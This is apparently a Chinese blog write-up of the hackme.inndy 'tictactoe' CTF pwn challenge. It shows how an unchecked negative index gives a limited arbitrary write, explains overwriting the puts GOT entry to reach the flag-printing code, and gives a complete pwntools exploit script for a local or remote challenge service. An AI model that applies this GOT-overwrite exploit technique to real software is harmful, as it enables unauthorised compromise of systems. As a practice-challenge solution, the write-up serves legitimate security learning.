本文最后更新于:星期日, 一月 13日 2019, 11:43 中午

防护机制:

[*] '/home/zs0zrc/pwn/Scoreboard/tictactoe/tictactoe'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

这个程序是模拟下三子棋的机器人,程序的漏洞在

unsigned int sub_8048A4B()
{
  int v1; // [esp+4h] [ebp-14h]
  char buf; // [esp+8h] [ebp-10h]
  unsigned int v3; // [esp+Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  printf("\nInput move (9 to change flavor): ");
  v1 = read_int();//没有对输入的数字进行检查
  if ( v1 == 9 )
  {
    read(0, &buf, 4u);
    byte_804B04C = buf;
    sub_8048A4B();
  }
  else
  {
    *(v1 + 0x804B056) = byte_804B04C;//可以输入负数,造成任意地址写,但是只能修改三次
    if ( sub_80486F0(v1) )
      *(v1 + 0x804B04D) = -1;
  }
  return __readgsdword(0x14u) ^ v3;

同时程序中有输出flag的代码

   else if ( v1 == -1 )
    {
      print_msg("You win. Inconceivable!");
      fd = open("flag_simple", 0);
      v5 = read(fd, buf, 0x100u);
      if ( fd <= 0 || v5 <= 0 )
      {
        print_msg("Can not read flag! Pls contact admin");
      }
      else
      {
        buf[v5] = 0;
        printf("Here is your flag: %s\n", buf);
        print_msg("You need a shell to get another flag");
      }
      exit(0);
    }

所以只要修改got表中没有被调用过的函数,使其指向这段代码的地址就好了。这里之所以要修改没调用的是因为没调用的函数在其got表中存储的是plt表的地址,是指向程序代码段的,如果是调用过的函数,它got表中存储的是libc的地址。

这里选择修改puts_got –>[0x0804B024]

计算偏移

1537785122176

offset = -50

exp:

#!/usr/bin/env python
from pwn import *
local = 1

if local:
    p = process('./tictactoe')
    elf = ELF('./tictactoe')
    libc = elf.libc
else:
    host = 'hackme.inndy.tw'
    port = '7714'
    p = remote(host,port)
    elf = ELF('./tictactoe')

context.arch = elf.arch
context.terminal = ['tmux', 'splitw', '-h']
context.log_level='debug'

def sd(content):
    p.send(content)

def sl(content):
    p.sendline(content)

def rc():
    return p.recv()

def ru(content):
    return p.recvuntil(content)

def debug(addr,PIE=False):
    if PIE:
        text_base = int(os.popen("pmap {}| awk '{{print }}'".format(p.pid)).readlines()[1], 16)
        gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
    else:
        gdb.attach(p,"b *{}".format(hex(addr)))

#target = elf.symbols['puts']
#target = 0x0804B024
vuln = 0x804B04D
offest = -50
#gdb.attach(p,'b *0x08048A9E')
ru("Play (1)st or (2)nd? ")
sl('1')

ru("flavor):")
sl('9')
sl(chr(0x46))

ru(" flavor):")
sl('-50')

ru(" flavor):")
sl('9')
sl(chr(0x8c))

ru(" flavor):")
sl('-49')

sl('1')
p.interactive()

hackme.inndy_writeup      writeup pwn

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!